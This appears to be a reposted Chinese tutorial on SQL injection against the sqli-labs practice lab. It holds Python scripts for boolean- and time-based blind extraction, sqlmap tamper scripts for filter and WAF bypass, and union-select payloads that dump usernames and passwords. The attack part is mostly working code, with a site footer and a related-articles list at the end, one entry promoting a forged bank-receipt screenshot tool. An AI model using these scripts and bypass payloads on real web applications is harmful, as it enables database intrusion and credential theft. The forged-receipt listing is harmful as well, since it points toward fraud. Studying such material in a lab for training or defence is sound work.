if "You are in....." in res.text :
break

return i


# 按位获取内容
def get_content(content_len):

content= ""

for i in range(1,content_len+ 1):

for c in c_set:

# payload= f"?id=1' and ascii(substr(database(),{i},1))=
{ord(c)} -- AJEST"
payload= f"?id=1' and ascii(substr(version(),{i},1))=
{ord(c)} -- AJEST"

full_url= url+ payload

# print(full_url)

res = requests.get(url= full_url, headers= headers)

if "You are in....." in res.text :
content += c
break

print(f"[+] The content: {content}")

return content

content_len = get_content_len(url)
print(f"[+] The length of content: {content_len}")
get_content(content_len)

延时注入

以 sqli-labs/Less-9 为例

# sqli-labs_09_sqli-blind-time-based-sigle-quotes.py
'''
?id=1' and sleep(5) --+
timeout
'''
import requests
import string
url= "http://10.4.7.130/sqli-labs/Less-9/"
headers= {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 
Safari/537.36"
}
c_set= string.printable.strip()
def get_timeout(url):
try:
res = requests.get(url= url, headers= headers, timeout= 3)
except:
return "timeout"
else:
return res.text
# 获取内容长度
def get_content_len(url):
for i in range(1, 100):
payload= f"?id=1' and if(length(database())={i},sleep(5),1) 
-- AJEST"

full_url= url+ payload

print(full_url)

if "timeout" in get_timeout(full_url):
break

return i


# 按位获取内容

def get_content(content_len):

content = ""

for i in range(1, content_len+ 1):

for c in c_set:

payload= f"?id=1' and if(ascii(substr(database(),
{i},1))={ord(c)},sleep(5),1) --+"

full_url= url+ payload
# print(full_url)

if "timeout" in get_timeout(full_url):
content+= c
print(f"[+] The content: {content}")
break

return content

content_len= get_content_len(url)
print(f"[+] The length of content: {content_len}")

get_content(content_len)

定制sqlmap

sqli-labs/less-26

被过滤字符

字符替代字符
–+and '1
and ‘1’='1
#and '1
and ‘1’='1
andanANDd
oroORr
<space>%a0

完整sql语句

?
id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aAND
nd%a0'1
?
id=1'%a0aandnd%a01=2%a0union%a0select%a01,database(),3%a0anandd%a01='
1

注意:

  • 切换 php 版本为 5.2。

  • 切换 linux 系统。

tamper脚本

​ SQLMap 是一款 SQL 注入神器,可以通过 tamper 对注入 payload 进行编码和变形,以达到绕过某些限制的目的。但是有些时候,SQLMap 自带的 tamper 脚本并不是特别好用,需要根据实际情况定制 tamper 脚本

sr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass
def tamper(payload, **kwargs):

    """
    "-- "   and 1='1
    #       and 1='1
    and     aANDnd
    or      oORr
    " "     %A0
    """
    payload = re.sub(r"(?i)-- ","and 1='1",payload)
    payload = re.sub(r"(?i)#"," and '1'='1",payload)
    payload = re.sub(r"(?i)and","aANDnd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i) ","%A0",payload)

    return payload

参考

  • sqlmap,Tamper详解及使用指南[https://www.webshell.cc/7162.html]

WAF Bypass

​ 针 对 Web 安 全 的 防 护 , 需 要 使 用 一 款 安 全 产 品 , Web 应 用 安 全 防 火 墙 ( Web Application Firewall,WAF)。

攻防对抗:

​ 防守方,根据 WAF 设备的报警及时进行拦截处理,应急响应,溯源反制等工作。攻击方,想尽办法绕过安全防护

Bypass 的主要目的:

  • 已知漏洞存在的情况下,绕过安全防护进行漏洞利用。

  • 免杀

  • 绕过系统安全机制

绕过分析

字符绕过方法
and/*!14400and*/
order by/**/order/*/%0a*a*/by/**/
union selectunion/*!88888cas*/%a0/*/*!=*/select/**/
database()database(/*!/*/**%0fAJEST*/*/)
from information_schema.tables/*!from--%0f/%0ainformation_schema.tables/
from information_schema.columns/*!from--%0f/%0ainformation_schema.columns/
count(*)count(1)

以 /sqli-labs/Less-1/ 为例

?id=1' --+
?id=2' --+
?id=2' /*!14400and*/ 1=1 --+
?id=2' /*!14400and*/ 1=2 --+
?id=2' /**/order/*/%0a*a*/by/**/ 4 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,3 --+
?id=1' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,database(/*!/*/**%0fAJEST*/*/),3 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where 
table_schema=database(/*!/*/**%0f*/*/) --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where 
table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/ 
table_name='users'--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,count(*) /*!from--%0f/*%0ausers*/--+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 
1,2,concat(username,0x3a,password) /*!from--%0f/*%0ausers*/ limit 
1,1--+

tamper脚本

#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
and /*!14400and*/
order by /**/order/*/%0a*a*/by/**/
union select 
union all select 
union/*!88888cas*//*/%0a*a*/select/**/
database() database(/*!/*/**%0fAJEST*/*/)
from information_schema.schemata /*!from--
%0f/*%0ainformation_schema.schemata*/
from information_schema.tables /*!from--
%0f/*%0ainformation_schema.tables*/
from information_schema.columns /*!from--
%0f/*%0ainformation_schema.columns*/
"""

payload = re.sub(r"(?i)and", "/*!14400and*/", payload)
payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", 
payload)
payload = re.sub(r"(?i)union select", 
"union/*!88888cas*//*/%0a*a*/select/**/", payload)
payload = re.sub(r"(?i)union all select", 
"union/*!88888cas*//*/%0a*a*/select/**/", payload)
payload = re.sub(r"(?i)from information_schema.schemata", 
"/*!from--%0f/*%0ainformation_schema.schemata*/", payload)
payload = re.sub(r"(?i)from information_schema.tables", 
"/*!from--%0f/*%0ainformation_schema.tables*/", payload)
payload = re.sub(r"(?i)from information_schema.columns", 
"/*!from--%0f/*%0ainformation_schema.columns*/", payload)
payload = re.sub(r"(?i)database\(\)", 
"database(/*!/*/**%0fAJEST*/*/)", payload)
payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
payload = re.sub(r"(?i)char","/*!14400char*/",payload)

return payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1188528.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

8-1、T型加减速控制【51单片机控制步进电机-TB6600系列】

摘要&#xff1a;本节介绍步进电机T型加减速的控制方法&#xff0c;本小节主要内容为该控制方法的推导与计算。目前各平台对该控制方法介绍的文章目前较多&#xff0c;但部分关键参数并未给出推导过程&#xff0c;例如误差系数0.676的推导等&#xff0c;本节在现有文章框架下&a…

【算法练习Day43】最佳买卖股票时机含冷冻期买卖股票的最佳时机含手续费

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 最佳买卖股票时机含冷冻期买…

银行转账截图p图制作,电子回执单,建设的,用易语言开发的,分享源码

闲着很无聊&#xff0c;刚好网上找到了一个默认&#xff0c;当然这个模版图我加了水印&#xff0c;只能是娱乐用&#xff0c;做不了啥坏事哈&#xff0c;然后软件是用易语言开发的&#xff0c;一个画板一些标签编辑框快照生成功能实现了这个软件&#xff0c;下面看下我的界面。…

软件安全测试怎么做?如何确保软件授权安全

在数字化不断演进的今天&#xff0c;软件安全测试变得至关重要。它验证了软件是否容易受到网络攻击&#xff0c;并检验恶意或意外输入对操作的影响。安全测试的目标是保障系统和信息的安全性和可靠性&#xff0c;确保它们不接受未授权的输入。 一、安全测试准备 开发者必须认识…

报名开启丨2023 SpeechHome 语音技术研讨会

2023 SpeechHome 语音技术研讨会将于11月18日—11月19日&#xff0c;在北京举办&#xff0c;同时举行开源语音技术交流会和第八届Kaldi技术交流会。 欢迎大家报名参加&#xff08;报名链接在文末&#xff09;&#xff01; 本届研讨会覆盖5大主题&#xff0c;包括语音前沿技术…

Hadoop 视频分析系统

视频分析系统 业务流程 原始数据 vedio.json {"rank":1,"title":"《逃出大英博物馆》第二集","dzl":"77.8","bfl":"523.9","zfl":"39000","type":"影视",&quo…

c++ 模拟进制之间的转换

c 模拟进制之间的转换 废话少说&#xff0c;直接上图 效果图 代码 #include<iostream> using namespace std;// 10进制转n进制 n>2 8 16 string _10to_n(int num,int n2){string res "";int yushu;char c;while( num!0 ){yushu num%n;switch (yushu) …

RPA处理重复工作,助力高效资金管理

在瞬息万变的市场竞争中&#xff0c;众多企业开展多元化经营以获取最大的经济效益。然而&#xff0c;企业的多元化经营程度越高&#xff0c;协调活动可能造成的决策延误也越多&#xff0c;其资金管理往往将面临更大的考验。随着新技术的发展&#xff0c;更多具备多元产业的企业…

华为云分布式数据库GaussDB,做金融数字化的坚实数据底座

本篇为大家分享下GaussDB的商业进展以及产品能力升级方面的最新情况。 1. 华为云GaussDB正在从金融覆盖到更多行业 从2019年开始&#xff0c;在华为内部通过持续的锤炼&#xff0c;推出了融合多项技术的自主创新的GaussDB数据库&#xff0c;而且陆续完成了华为公司内部核心系统…

Grafana安装配置

配置文件路径 /etc/grafana/grafana.ini 一、Grafana 安装 https://grafana.com/grafana/download?editionoss&pgget&plcmtselfmanaged-box1-cta1 以centos为例 #安装 sudo yum install -y https://dl.grafana.com/oss/release/grafana-10.2.0-1.x86_64.rpm#修改端…

RT-Thread提供的网络世界入口 -net组件

作为一款在RTOS领域对网络支持很丰富的RT-Thread&#xff0c;对设备联网功能的支持的工具就是net组件。 位于/rt-thread/components/net路劲下&#xff0c;作为一款基础组件&#xff0c;env与Studio的工程配置项界面的配置项都依赖该目录下的Kconfig。 我们对网络功能的选择&am…

STM32 GPIO

STM32 GPIO GPIO简介 GPIO&#xff08;General Purpose Input Output&#xff09;通用输入输出口&#xff0c;也就是我们俗称的IO口 根据使用场景&#xff0c;可配置为8种输入输出模式 引脚电平&#xff1a;0V~3.3V&#xff0c;部分引脚可容忍5V 数据0就是低电平&#xff0c…

【开源三方库】Easyui:基于OpenAtom OpenHarmony ArkUI深度定制的组件框架

万冬阳 公司&#xff1a;中国科学院软件所 小组&#xff1a;知识体系工作组 简介 Easyui是一套基于ArkTS语言开发的轻量、可靠的移动端组件库&#xff0c;它是对OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09; ArkUI进行深度定制的组件框架。Easyui可扩…

等保测评怎么做?有哪些流程?

现在很多信息系统想要上线都需要做等保测评&#xff0c;如果不能通过等保测评&#xff0c;不仅系统不允许上线&#xff0c;同时一旦出现了网络安全事件&#xff0c;相关企业还需要承担重要的责任。目前如果是为政府、事业单位、国企等开发系统&#xff0c;等保测评报告也是重要…

怎么在web显示模型的动态应力图?

要在网页上显示模型的动态应力图&#xff0c;需要执行几个步骤。动态应力图通常涉及有限元分析 (FEA) 模拟中的应力和应变数据的可视化&#xff0c;可以使用 Python、JavaScript 等工具以及 Three.js、Plotly 或 D3.js 等库来渲染图一个网页。以下是该过程的概述&#xff1a; …

互联网是如何运作的?以前端角度出发(b站objtube的卢克儿听课笔记)

1、你是如何用你的计算机设备发送数据和接受数据的呢&#xff1f; 例如我们是如何访问到哔哩哔哩的数据的 当你的设备开始连接到互联网时&#xff0c;会被分配一个IP地址。 而哔哩哔哩的服务器也接入到互联网&#xff0c;它也将被分配一个IP地址。 我们常说你访问某个网站&a…

数据库|Binlog故障处理之drainer周期性罢工

目录 一、背景 二、故障现象 三、分析过程 四、解决方案 五、思考 六、总结 一、背景 最近&#xff0c;用户反馈我们的生产环境TiDB集群的drainer频繁发生故障。故障表现为服务崩溃无法启动&#xff0c;或者数据在运行过程中丢失&#xff0c;给我们的业务带来了很大的困扰…

uniapp刻度尺的实现(swiper)滑动打分器

实现图&#xff08;百分制&#xff09;&#xff1a;滑动swiper进行打分&#xff0c;分数加减 <view class"scoring"><view class"toggle"><view class"score"><text>{{0}}</text><view class"scoreId&quo…

GitHub金矿:一套智能制造MES的源代码,可以直接拿来搞钱的好项目

目前国内智能制造如火如荼&#xff0c;工厂信息化是大趋势。如果找到一个工厂&#xff0c;搞定一个老板&#xff0c;搞软件的小虾米就能吃几年。 中国制造业发达&#xff0c;工厂林立&#xff0c;但是普遍效率不高&#xff0c;需要信息化提高效率。但是矛盾的地方在于&#xf…

开源:特殊的垄断

免责声明&#xff1a;本博客旨在分享我对开源策略的理解和体会&#xff0c;不代表任何组织或机构的立场或观点&#xff0c;也不构成任何商业或投资的建议或担保。本博客的内容可能存在错误或遗漏&#xff0c;也可能随着时间的推移而变得过时或不适用。请在使用或依赖本博客的内…